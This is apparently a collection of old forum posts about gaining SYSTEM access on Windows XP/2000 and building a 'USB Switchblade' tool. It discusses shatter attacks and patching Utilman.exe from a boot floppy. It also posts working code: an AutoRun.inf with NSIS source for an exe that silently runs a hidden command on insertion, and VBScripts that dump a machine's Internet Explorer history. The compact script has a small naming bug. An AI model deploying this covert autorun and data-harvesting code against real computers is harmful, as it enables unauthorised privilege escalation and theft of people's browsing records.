[Gain SYSTEM/Administrative Access to Windows XP/2000]

What about shatter attacks, instant Guest>SYSTEM

http://72.14.221.104/search?q=cache:OyUSKJ...mp;client=opera

http://en.wikipedia.org/wiki/Shatter_attack

Hmm...

Why not just make a custom FreeDOS floppy.

It would just silently patch the Utilman.exe and then boot from the hard drive.

Yes, but you need the non free version of the sysinternals ntfs dos tool

[USB Switchblade Development]

Not exactly sure what the XP issue listed on the wiki page is but i whipped up a little something that i think fits the description

Autorun.inf then looks like:

[Autorun]

open=AutoExec.exe



[AutoExec]

Cmd=Notepad

Params=%WinDir%Win.ini

the NSIS source for the exe:

OutFile "AutoExec.exe"

SilentInstall silent

!define cfg "$ExeDirAutoRun.Inf"

Section

StrCpy $OUTDIR "$ExeDir"

ReadIniStr $0 ${cfg} "AutoExec" "Cmd"

ReadIniStr $1 ${cfg} "AutoExec" "Params"

ExecShell "" "$0" "$1" SW_HIDE

SectionEnd

Page InstFiles

Pre compiled exe: http://rapidshare.de/files/32684592/AutoExec.exe.html

[USB Switchblade Development]

The IE history dump(DUH.vbs) doesnt seem to work on my system, atleast it doesnt show every url, just the domain and approx date. So i whipped up something that does (Based on the existing script, if i get the time i will rewrite it in JScript, VBScript is so damn ugly and i cant pack lots of instructions on one line :roll: )

on error resume next

Function Dump(h,indent,fulldump)

for each item in h.items

    if indent>1 then

        s=h.GetDetailsOf(item,0) 

        if fulldump then s=h.GetDetailsOf(item,2)&vbTab&s&vbTab&h.GetDetailsOf(item,1)

        else

        s=h.GetDetailsOf(item,-1)

        end if

    wscript.echo String (indent," ") &s

    if item.isFolder then

        call Dump(item.GetFolder,indent+1,fulldump)

        end if

    if 0=indent then wscript.echo String (80,"-")

next

End Function

Dump createobject("Shell.Application").NameSpace(34),0,true

The full version can dump to html and just raw urls (no dates and page titles(the medium size version supports this aswell, just change the last true>false)) ( http://rapidshare.de/files/32573713/IE_DumpHistory.vbs.html )

Usage (of full version):

• cscript /nologo IE_DumpHistory.vbs html>dump.html

cscript /nologo IE_DumpHistory.vbs all>dump.txt

And finally, a very compact version:

on error resume next

Function D(h,indent)

for each item in h.items

    wscript.echo String (indent," ")&h.GetDetailsOf(item,-1)

    if item.isFolder then call Dump(item.GetFolder,indent+1,fulldump)

    if 0=indent then wscript.echo String (80,"-")

next

End Function

D createobject("Shell.Application").NameSpace(34),0